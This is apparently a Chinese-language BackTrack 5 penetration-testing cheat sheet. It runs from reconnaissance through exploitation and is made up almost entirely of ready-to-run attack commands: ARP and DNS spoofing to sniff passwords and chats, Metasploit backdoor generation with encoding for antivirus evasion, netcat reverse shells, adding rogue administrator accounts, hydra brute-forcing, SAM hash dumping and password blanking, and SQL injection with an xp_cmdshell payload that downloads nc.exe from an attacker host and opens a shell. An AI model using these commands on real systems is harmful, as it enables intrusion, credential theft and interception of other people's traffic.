BackTrack滲透測試筆記是一款BT5學習筆記,使用BT5的同學可以看看,不僅僅是用來破解WIFI,BT5還有更強大的功能。 體積小,但功能強大。界面非常清爽,簡單易操作。
0x01.1 PTES 標準中的滲透測試階段
0x01.1.1 前期交互階段
0x01.1.2 情報搜集階段
0x01.1.3 威脅建模階段
0x01.1.4 漏洞分析階段
0x01.1.5 滲透攻擊階段
0x01.1.6 后滲透攻擊階段
0x01.1.7 報告階段
0x01.2 滲透測試類型
0x01.2.1 白盒測試
0x01.2.2 黑盒測試
0x01.3 小結(jié)
0x02 滲透環(huán)境搭建
>
0x03 常用信息收集
0x03.1 被動信息收集
0x03.2 主動信息收集
0x03.3 針對性掃描
0x03.4 小結(jié)
0x04 信息收集的附屬工作
0x04.1 基本的漏洞掃描
0x04.2 使用 Nessus 進行掃描
0x04.3 專用漏洞掃描器
0x05 社會工程學攻擊
0x05.1 針對性的釣魚攻擊
0x05.2 web 向量攻擊
0x05.3 SET 的其他特性
0x05.4 小結(jié)。
ping 域名/ip 測試本機到遠端主機是否聯(lián)通。
dig 域名/ip 查看域名解析的詳細信息。
host -l 域名 dns服務(wù)器 傳輸zone。
掃描
nmap:
-sS 半開掃描TCP和SYN掃描。
-sT 完全TCP連接掃描。
-sU UDP掃描
-PS syn包探測(防火墻探測)
-PA ack包探測(防火墻探測)
-PN 不ping。
-n 不dns解析。
-A -O和-sV。
-O 操作系統(tǒng)識別。
-sV 服務(wù)版本信息(banner)
-p 端口掃描。
-T 設(shè)置時間級別(0-5)
-iL 導入掃描結(jié)果。
-oG 輸出掃描結(jié)果。
操作系統(tǒng)識別:
p0f -i eth0 -U -p 開啟混雜模式。
xprobe2 ip|域名 檢測os。
banner獲取:
nc ip port 檢測端口是否打開。
telnet ip port 檢測端口是否打開。
wget ip 下載主頁。
cat index.html | more 顯示主頁代碼。
q 退出。
windows枚舉
nmap -sS -p 139,445 ip 掃描windows。
cd /pentest/enumeration/smb-enum
nbtscan -f targetIP 檢測netbios。
smbgetserverinfo -i targetIP 掃描name,os,組。
smbdumpusers -i targetIP 列出用戶。
smbclient -L //targetIP 列出共享。
使用windows:
net use \\ip\ipc$ "" /u:"" 開啟空會話。
net view \\ip 顯示共享信息。
smbclient:
smbclient -L hostName -I targetIP 枚舉共享。
smbclient -L hostName/share -U "" 用空用戶連接。
smbclient -L hostName -I targetIP -U admin普通用戶連接。
rpcclient:
rpcclient targetIP -U ""打開一個空會話。
netshareenum 枚舉共享。
enumdomusers 枚舉用戶。
lsaenumsid 枚舉域SID。
queryuser RID 查詢用戶信息。
createdomuser 創(chuàng)建用戶訪問。
ARP欺騙:
ettercap:
nano /usr/local/etc/etter.conf配置文件
Sniff > Unified sniffing > Network interface: eth0 > OK 設(shè)置抓包的網(wǎng)卡
Hosts > Scan for hosts (do this two times)掃描網(wǎng)段的主機
Hosts > Hosts list 顯示主機列表
Select the default gateway > Add to Target 1 添加主機
Select the target > Add to Target 2 添加主機
Mitm > Arp poisoning > Sniff remote connections > OK 設(shè)置ARP攻擊
Start > Start sniffing 開始攻擊
dsniff -i eth0 監(jiān)聽網(wǎng)卡竊聽登錄用戶密碼
urlsnarf -i eth0 嗅探http請求
msgsnarf -i eth0 嗅探聊天軟件的聊天內(nèi)容
driftnet -i eth0 網(wǎng)絡(luò)管理嗅探圖片,音頻。
dns欺騙:
nano /usr/local/share/ettercap/etter.dns編輯配置文件
Plugins > Manage the plugins > dns_spoof 設(shè)置dns欺騙
Mitm > Arp poisoning > Sniff remote connections > OK 設(shè)置ARP
Start > Start sniffing 開始攻擊
Exploits漏洞利用:
cd /pentest/exploits/exploit-db 進入目錄
cat sploitlist.txt | grep -i [exploit] 查詢需要的漏洞
cat exploit | grep "#include"檢查運行環(huán)境
cat sploitlist.txt | grep -i exploit | cut -d " " -f1 | xargs grep sys | cut -d ":" -f1 | sort -u只保留可以在linux下運行的代碼
Metasploit:
svn update 升級
./msfweb Web接口127.0.0.1:55555。.
./msfconsole 字符下的Console。
help 幫助
show <option> 顯示選項
search <name> 搜索名字
use <exploit name> 使用漏洞
show options 顯示選項
set <OPTION NAME> <option> 設(shè)置選項
show payloads 顯示裝置
set PAYLOAD <payload name> 設(shè)置裝置
show options 顯示選項
set <OPTION NAME> <option> 設(shè)置選項
show targets 顯示目標(os版本)
set TARGET <target number> 設(shè)置目標版本
exploit 開始漏洞攻擊
sessions -l 列出會話
sessions -i <ID> 選擇會話
sessions -k <ID> 結(jié)束會話
<ctrl> z 把會話放到后臺
<ctrl> c 結(jié)束會話
jobs 列出漏洞運行工作
jobs -K 結(jié)束一個漏洞運行工作
show auxiliary 顯示輔助模塊
use <auxiliary name> 使用輔助模塊
set <OPTION NAME> <option> 設(shè)置選項
run 運行模塊
scanner/smb/version 掃描系統(tǒng)版本
scanner/mssql/mssql_ping 測試mssql是否在線
scanner/mssql/mssql_login 測試登錄(暴力或字典)
Attacker behind firewall: bind shell正向
Target behind firewall: reverse shell反向
Meterpreter銜接不懂dos的可以用這個:
db_import_nessus_nbe 加載nessus的掃描結(jié)果
db_import_nmap_xml 加載nmap的掃描結(jié)果
自動化攻擊流程:
cd /pentest/exploit/framework3
./msfconsole
load db_sqlite3
db_destroy pentest
db_create pentest
db_nmap targetIP
db_hosts
db_services
db_autopwn -t -p -e
字符接口攻擊流程:
./msfcli | grep -i <name>
./msfcli <exploit or auxiliary> S
./msfcli <exploit name> <OPTION NAME>=<option> PAYLOAD=<payload name> E
做木馬后門等:
./msfpayload <payload> <variable=value> <output type>
S summary and options of payload
C C language
P Perl
y Ruby
R Raw, allows payload to be piped into msfencode and other tools
J JavaScript
X Windows executable
./msfpayload windows/shell/reverse_tcp LHOST=10.1.1.1 C
./msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 X > evil.exe
編碼處理就是做免殺:
./msfencode <options> <variable=value>
./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b '\x00′ -l
./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b '\x00′ -e PexFnstenvMor -t c
入侵后在windows下添加管理員用戶:
hostname 查看主機名
net users 查看用戶
net user 用戶 密碼 /add 添加用戶
net localgroup 查看工作組
net localgroup administrators 查看管理員組
net localgroup administrators x /add 將用戶加入管理員組
TFTP
cp /pentest/windows-binaries/tools/nc.exe /tmp/傳遞到tftp上
tftp -i 10.1.1.2 GET nc.exe下載
netcat瑞士軍刀
attacker: 10.1.1.1
target: 10.1.1.2
nc -v -z 10.1.1.2 1-1024 端口掃描
target: nc -lvp 4444 聊天設(shè)置(服務(wù))
attacker: nc -v 10.1.1.2 4444 聊天設(shè)置(客戶)
target: nc -lvp 4444 > output.txt傳輸文件(接受)
attacker: nc -v 10.1.1.2 4444 < test.txt傳輸文件(發(fā)送)
target: nc -lvp 4444 -e cmd.exe Bind shell。
attacker: nc -v 10.1.1.2 4444
target:nc -lvp 4444 Reverse shell。
attacker:nc -v 10.1.1.2 4444 -e /bin/bash
密碼
字典zcat /pentest/password/dictionaries/wordlist.txt.Z > words
cat words | wc -l顯示個數(shù)(30多萬個)
暴力:
hydra -l ftp -P words -v targetIP ftp 攻擊ftp。
hydra -l muts -P words -v targetIP pop3 攻擊pop3
hydra -P words -v targetIP snmp 攻擊snmp
攻擊microsof VPN
nmap -p 1723 targetIP
dos2unix words
cat words | thc-pptp-bruter targetIP
WYD:
wget -r target.com –accept=pdf 下載pdf文檔
wyd.pl -o output.txt .target.com/
cat output.txt | more
SAM文件(windows下的密碼文件):
%SYSTEMROOT%/system32/config
%SYSTEMROOT%/repair
備份windows的hash文件:
./msfcli exploit/windows/dcerpc/ms03_026_dcom RHOST=targetIP PAYLOAD=windows/meterpreter/bind_tcp E
meterpreter > upload -r /tmp/pwdump6 c:\\windows\\system32\\
meterpreter > execute -f cmd -c
meterpreter > interact x
C:\WINDOWS\system32> pwdump \\127.0.0.1
john破解密碼:
cp hash.txt /pentest/password/john-1.7.2/run/
cd /pentest/password/john-1.7.2/run/
./john hash.txt
彩虹表:
rcrack *.rt -f hash.txt
本地修改密碼:
mount
umount /mnt/hda1
modprobe fuse
ntfsmount /dev/hda1 /mnt/hda1
mount
ls -l /mnt/hda1 掛載c盤
bkhive /mnt/sda1/WINDOWS/system32/config/system system.txt
samdump2 /mnt/sda1/WINDOWS/system32/config/sam system.txt > hash.txt 備份sam文件
直接修改sam文件:
chntpw /mnt/sda1/WINDOWS/system32/config/SAM
Blank the password. *
Do you really wish to change it? y
Write hive files? y
unmount /mnt/sda1
reboot
SQL 注入
nmap -sS -p 1521 targetIP 掃描oracle
nmap -sS -p T:1433,U:1434 targetIP 掃描mssql
' or 1=1–驗證旁路
列舉表名:
' having 1=1–
' group by table having 1=1–
' group by table, table2 having 1=1–
' group by table, table2, table3 having 1=1–
列舉列類型:
union select sum(column) from table –
union select sum(column2) from table –
添加數(shù)據(jù):
' ; insert into table values('value','value2′,'value3′)–
MSSQL存儲程序:
輸出數(shù)據(jù)庫中備案信息到一個html文件,您可以查看與一個瀏覽器。
' ; exec sp_makewebtask "c:\Inetpub\wwwroot\test.html", "select * from table" ; —.target.com/test.html
運行ipconfig在瀏覽器查看信息。
' or 1=1; exec master..xp_cmdshell ' "ipconfig" > c:\Inetpub\wwwroot\test.txt' .target.com/test.txt
上傳后門。
' or 1=1; exec master..xp_cmdshell ' "tftp -i attackIP GET nc.exe && nc.exe attackIP 53 -e cmd.exe' ; –
攻擊者: nc -lvp 53
spreadfold。
bt5,全稱Back Track five,是繼bt3,bt4之后的最新版。這是一個linux環(huán)境的便攜系統(tǒng),可以放到U盤或者硬盤中啟動,對本身硬盤沒有影響,無需在本地安裝。內(nèi)置大量的網(wǎng)絡(luò)安全檢測工具以及黑客破解軟件等。